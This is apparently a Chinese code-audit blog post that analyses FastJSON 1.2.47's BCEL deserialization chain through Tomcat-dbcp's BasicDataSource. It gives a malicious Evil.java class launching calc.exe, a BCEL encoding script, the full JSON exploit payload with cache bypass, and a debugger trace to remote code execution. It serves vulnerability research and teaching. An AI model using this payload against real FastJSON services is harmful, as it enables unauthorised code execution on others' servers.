代码审计 | FastJSON 1.2.47 不出网利用 —— BCEL 链分析 | setter 与 getter 触发对比

弹不出的shell
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代码审计 | FastJSON 1.2.47 不出网利用 —— BCEL 链分析 | setter 与 getter 触发对比

环境：FastJSON 1.2.47 / JDK 8u65 / Tomcat 9.0.20 / IDEA 调试

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前言

上一篇 TemplatesImpl 链需要开启 SupportNonPublicField，因为 _bytecodes 这些字段是 private 的，FastJSON 默认碰不到，利用条件比较苛刻。

BCEL 链是针对这个问题的替代方案，用的全是 public 的 setter，不需要 SupportNonPublicField，利用条件宽松一些。

和 TemplatesImpl 链的区别

TemplatesImplBCEL
是否需要 SupportNonPublicField✅ 必须❌ 不需要
环境依赖无需要 Tomcat（tomcat-dbcp）
利用难度条件苛刻相对宽松

不需要 SupportNonPublicField 的原因很简单：BCEL 链用的全是 public 的 setter，setDriverClassName() 和 setDriverClassLoader() 都是公开方法，FastJSON 默认就能调到，不需要额外开 Feature。

代价就是依赖 Tomcat 环境，目标没有 tomcat-dbcp 依赖就打不了。

补充：FastJSON 的 getter/setter 扫描机制

在正式跟链之前，先把这个机制搞清楚，不然看 payload 会有很多疑问。

自动 getter 触发

FastJSON 反序列化完成之后，会主动扫描类里所有的方法，满足以下条件的 getter 会被自动调用，不需要在 JSON 里显式写对应字段：

  • get 开头 ✅
  • 无参数 ✅
  • 返回值不是基本类型 ✅
  • 没有对应的 setter ✅

getConnection() 完美符合这四条，所以 payload 里根本不需要写 "connection" 字段，FastJSON 自己就会去调它。

举个对比例子，TemplatesImpl 链里的 payload 是这样的：

会触发 getOutputProperties()：

其实 _outputProperties 这个字段写不写都行，即使删掉了也依然能执行成功——因为 getOutputProperties() 同样满足自动扫描的条件，FastJSON 会自己触发它。

setter 触发

setter 的触发逻辑更直接，FastJSON 解析 JSON 字段的时候，对每一个 JSON 字段都会去找对应的 setter，找到了就调：

JSON 里有 "driverClassName"  →  找 setDriverClassName()  →  调用

不需要任何特殊条件，但必须在 JSON 里显式写这个字段，FastJSON 不会主动扫描 setter。

扫描机制settergetter
触发条件JSON 里写了对应字段FastJSON 主动扫描，无需写字段
限制几乎没有无参、无对应setter、返回非基本类型
典型例子setDriverClassName()getConnection()

环境准备

pom.xml 加上 Tomcat 依赖：

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.20</version>
</dependency>

恶意类编写

Evil.java

这次不需要继承 AbstractTranslet，简单很多：

import java.io.IOException;

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

保存为 Evil.java，然后编译：

javac Evil.java

字节码转换脚本

得到 Evil.class 之后，需要把它转成 $$BCEL$$ 格式的字符串。

BCEL ClassLoader 有个特殊能力：能识别 $$BCEL$$ 开头的字符串，把后面的内容解码成字节码直接加载，整个过程在本地完成，不需要任何网络连接。

import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;

public class BCELEncoder {
    public static void main(String[] args) throws Exception {
        JavaClass javaClass = Repository.lookupClass(Evil.class);
        String encoded = Utility.encode(javaClass.getBytes(), true);
        System.out.println("$$BCEL$$" + encoded);
    }
}

跑完把输出的 $$BCEL$$... 字符串复制出来，填进 payload 的 driverClassName 字段。

Payload 结构

因为用的是 1.2.47 版本的 FastJSON，payload 比较长，但关键是 c 里的内容，a、b 都是为了写入缓存绕过检测机制（缓存绕过原理在上上篇已经详细分析过了）：

{
    "a": {
        "@type": "java.lang.Class",
        "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "b": {
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "c": {
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A..."
    }
}

注意 driverClassLoader 里要套一层 @type，因为 setDriverClassLoader() 的方法签名是：

setDriverClassLoader(final ClassLoader driverClassLoader)

参数类型是 ClassLoader 对象，不是 String 这种基本类型，FastJSON 必须先实例化一个对象才能传进去。如果只写 "driverClassLoader": {} 不带 @type，FastJSON 不知道要实例化什么类，传进去的就是 null，后面 Class.forName() 用 null ClassLoader 根本不认识 $$BCEL$$ 格式，链就断了。

对比一下规律：

参数是基本类型/String  →  直接传值，不需要 @type
参数是对象类型         →  需要 @type 告诉 FastJSON 实例化什么类

效果：

调试跟踪

缓存绕过的步骤直接跳过，来到实例化调用 get 和 set 的部分。

初次不知道的情况下，直接把 driverClassName 和 driverClassLoader 的 set 和 get 全部打上断点，再分析代码。

setDriverClassLoader

先来到 setDriverClassLoader 方法：

setDriverClassLoader(final ClassLoader driverClassLoader)

这里传入的是一个类对象，因此前面的 payload 里 driverClassLoader 必须用 @type 实例化一个类，不然不能正常运行。

可以看到传进来的参数 driverClassLoader: ClassLoader@852，是一个真实的 BCEL ClassLoader 实例，不是 null，赋值前 this.driverClassLoader 是 null，这行执行完就注入进去了。

setDriverClassName

接着来到 setDriverClassName：

把 $$BCEL$$... 字符串注入进去。

method.invoke 反射调用

接着看到了 method.invoke(object, value) 反射调用：

这就是 FastJSON setter 触发的底层实现，不是直接调 setDriverClassName()，而是通过反射调用，所以看到的是 method.invoke 而不是直接的方法调用。

getConnection

setter 阶段完成后，FastJSON 自动扫描到 getConnection() 符合条件，主动触发：

IS_SECURITY_ENABLED = false，直接走最后一行：

return createDataSource().getConnection();

createDataSource → createConnectionFactory

进入 createDataSource()：

接着进入 createConnectionFactory()：

因为 driverClassName 不为空可以继续执行：

就是之前写的 $$BCEL$$$l$8b$I$A$A$A$A$A...

Class.forName 触发 RCE

来到关键一行：

driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);

三个参数各司其职：

Class.forName(driverClassName,   true,   driverClassLoader)
//            ↑                  ↑       ↑
//     $$BCEL$$...字符串        立即初始化  BCEL ClassLoader
  • driverClassLoader → 指定用 BCEL ClassLoader 来加载，不用默认的
  • driverClassName → BCEL ClassLoader 识别到 $$BCEL$$ 开头，解码成字节码
  • true → 立即初始化这个类，也就是立即执行 static 块

第二个参数 true 是关键，类加载进来之后马上初始化，static 块里的 calc.exe 直接执行。如果是 false，类加载进来但不初始化，static 块不执行，就不会弹计算器了（当然实际代码里这个值是固定的）。

执行完后计算器弹出来了。

完整调用链总结

JSON.parseObject()
  → setDriverClassLoader()      [BCEL ClassLoader 对象注入]
  → setDriverClassName()        [$$BCEL$$...字符串注入]
  → getConnection()             [FastJSON 自动扫描触发，无需写字段]
    → createDataSource()
      → createConnectionFactory()
        → Class.forName(driverClassName, true, driverClassLoader)
          → BCEL ClassLoader 识别 $$BCEL$$ 前缀
            → Utility.decode() 解码成字节码
              → defineClass() 加载进 JVM
                → 类初始化 → static 块执行 → 💥 RCE
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